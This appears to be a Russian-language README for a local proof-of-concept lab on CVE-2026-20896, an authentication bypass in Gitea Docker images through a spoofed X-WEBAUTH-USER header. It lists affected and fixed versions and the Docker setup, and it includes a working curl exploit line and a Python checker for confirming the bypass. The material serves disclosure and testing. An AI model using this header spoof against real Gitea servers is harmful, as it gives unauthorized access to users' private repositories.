
Лаборатория proof-of-concept и скрипты на Python/cURL, демонстрирующие CVE-2026-20896 — обход аутентификации в официальных Docker-образах Gitea через заголовок X-WEBAUTH-USER.
[!WARNING] Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 — это обход аутентификации в уязвимых официальных Docker-образах Gitea. Когда включена аутентификация через обратный прокси, сгенерированная образом настройка REVERSE_PROXY_TRUSTED_PROXIES = * позволяет клиенту, имеющему доступ к бэкенду Gitea, выдавать себя за существующего пользователя через заголовок X-WEBAUTH-USER.
Лаборатория создаёт администратора с именем gitea-admin со случайным паролем и сохраняет CVE-2026-20896_AUTH_BYPASS_CONFIRMED в приватном репозитории gitea-admin/private-proof. Чтение этого файла без знания случайного пароля администратора демонстрирует обход.
| Категория | Версия |
|---|---|
| Уязвимые | Официальные Docker-образы gitea/gitea ≤ 1.26.2 |
| Первая исправленная | 1.26.3 |
| Рекомендуемая | 1.26.4 или более поздняя |
Уязвимая конфигурация требует включённой аутентификации через обратный прокси и прямого доступа к бэкенду Gitea, либо наличия вышестоящего прокси, сохраняющего предоставленный атакующим заголовок идентификации. Для локального воспроизведения контейнер обратного прокси не требуется.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Подождите несколько секунд, пока Gitea и приватный репозиторий с доказательством инициализируются.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Успешная эксплуатация возвращает CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Скрипт сравнивает неаутентифицированные, неадминистративные и поддельные запросы администратора и выводит VULNERABLE, когда обход авторизации подтверждён. Требуется Python 3.10 или более поздняя версия, используется только стандартная библиотека.
REVERSE_PROXY_TRUSTED_PROXIES доверенными адресами прокси.docker stop cve-2026-20896-gitea-vuln